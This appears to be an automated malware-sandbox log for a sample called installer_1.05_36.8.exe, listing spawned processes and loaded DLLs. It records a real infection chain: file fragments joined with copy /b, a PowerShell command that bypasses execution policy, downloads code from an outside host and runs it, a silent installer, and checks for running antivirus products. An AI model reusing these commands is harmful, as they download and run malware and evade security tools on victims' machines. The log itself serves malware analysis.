Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gilbert	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "uploaded" Smell	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 180180\Likewise.com + Moderators + Ship + Develops + Briefs + Cache + Web + Dependent + Crimes + Responsibility + Brandon + Separated 180180\Likewise.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Senegal + ..\Contract + ..\Chrome + ..\Renewable + ..\Vancouver + ..\Saving + ..\Topless + ..\Coordinate d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com Likewise.com d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe "C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Process created: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp "C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$4046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe"
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe "C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Process created: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp "C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$5046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Section loaded: userenv.dll
